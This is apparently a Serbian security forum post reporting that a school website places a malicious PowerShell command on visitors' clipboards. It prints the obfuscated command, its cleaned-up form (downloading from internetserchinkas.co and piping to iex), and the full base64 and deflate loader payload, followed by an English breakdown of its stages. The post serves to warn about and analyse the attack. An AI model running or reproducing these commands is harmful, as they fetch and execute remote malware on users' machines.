[milos_rs]

OŠ Svetozar Marković - Toza u Elemiru

   

kada se klikne...

   

u klipbord stavlja :

Code:

irm (('{0}{1}' -f 'h','ttps://')+('inte'+'rnetserchinkas.co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'}|iex

što posle čišćenja izgleda ovako :

Code:

irm "https://internetserchinkas.co/hex/lom/84aa3f59" `     -UserAgent "WUA/22ab8f9767" `     -Headers @{"X-WUA"="22ab8f9767"} | iex

Payload sa tog linka :

Code:

$ErrorActionPreference='SilentlyContinue';$ProgressPreference='SilentlyContinue';try{[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12}catch{};Add-Type -A System.IO.Compression;$ew5jfhs=[convert]::('FromBase64String')(('XVTbkps4EP0VVcVZQQ1mJCFhCMtupbzZzVaS2VRlkjxQfhAgDDYGjwBf43/fZnwhk4cW'+'dOv07XRD1lVJW9QV0oe42S2yfXt8UNvxN6kLGZcKjR/kSiGcH3ZyMUlzjOCq7BQyetR/8UIlLXpQrf1dxdOyUFVrovHftU5U0Or9sciM0dXV/qzr3d48/mKwp1ql4FfIsgm'+'jPtRgmMokV7M3b/5SmezK9ifk6ZTINsmPp2AI917JVOkmwl8bpcdv5wDFsxB/qg9FWcp7YRNkfC+qtN426OERUWKTAIHB5QHaudxEb9frUkEjH4r2XjgT23GR8eH946ePFiqLpUL/qG'+'RZm2ia63ql7ilzbWK7jsdt4aEvMgPKrm7v0vnLexxEm7pIZyTIroTLbJtmB9cYFbqxRltvDtR0QoUYB1mtjdE6DkkAJxqXLepB9kdVzdu8t92F7Iy+C6Mkl3pmREldbZRuga3H+t+qddhzYPtLFzetLqp5H9BipkVdcxzvah0VVTs7O/fJo/7+npmve+WSaWYCvZDkFMAcCSTUfB9SsD3lu9Sf70O8eJLTfdLh4PdX3X7pCfXqj2CUMNebu7EbYpFyJvxJzIkg8JZQIjzmgsZ5Cne+cBnjsWA8JR73BJ8IKkFLRMypoBPR+1FKEi4giuDAYr9Uw+g76W0zKUIDH8npSE+wnRnCJIZcbIItTHkmXM5IjM1gVHVlGT6f/c5slqrzml89GRFUOODpECl8IbmgHkmYopy4ZEIYPDNGCOEpdQGacOU4fWy5XTirdXoIL0NFNxLQlazbAoyW8cqPtecP4EsfA/ZlsZN4wwbwtfYB/ZKUHZcbHzgZL+qieh5wNJsZrmdRSkF8EGJRctb9CbwSy3NAc0E4qOKCcEzobLWXTfzkhcNndklgGOfC7q4UHtnp6JyJNPCf+A4XIClIiE3rxpCFf1uG2Lq2bJrXyUTnNYX9fbdat0BBm+st10/LofNLLejGYGDcUOaPQu1Owe0v9j8='));$y6b8=New-Object IO.MemoryStream -ArgumentList @(,$ew5jfhs);$p674g276=[IO.Compression.DeflateStream]::new($y6b8,[IO.Compression.CompressionMode]::Decompress);$iu28tw=(New-Object IO.StreamReader($p674g276)).ReadToEnd();&([scriptblock]::Create($iu28tw))

This script is a multi-stage PowerShell malware loader that:

Stage 1 (This Script)

1. Disables error handling - hides failures
   
2. Enables TLS 1.2 - for secure C2 communication
   
3. Loads compression libraries - for decompression
   
4. Decodes Base64 - first layer of obfuscation
   
5. Decompresses Deflate - second layer
   
6. Executes in memory -[scriptblock]::Create() + &
   
7. No disk writes - fully fileless
   

Stage 2 (Decompressed Payload)

1. Downloads from internetserchinkas[.]co/hex/lom/84aa3f59
   
2. Uses custom headers (WUA/22ab8f9767,X-WUA: 22ab8f9767)
   
3. Executes the response via iex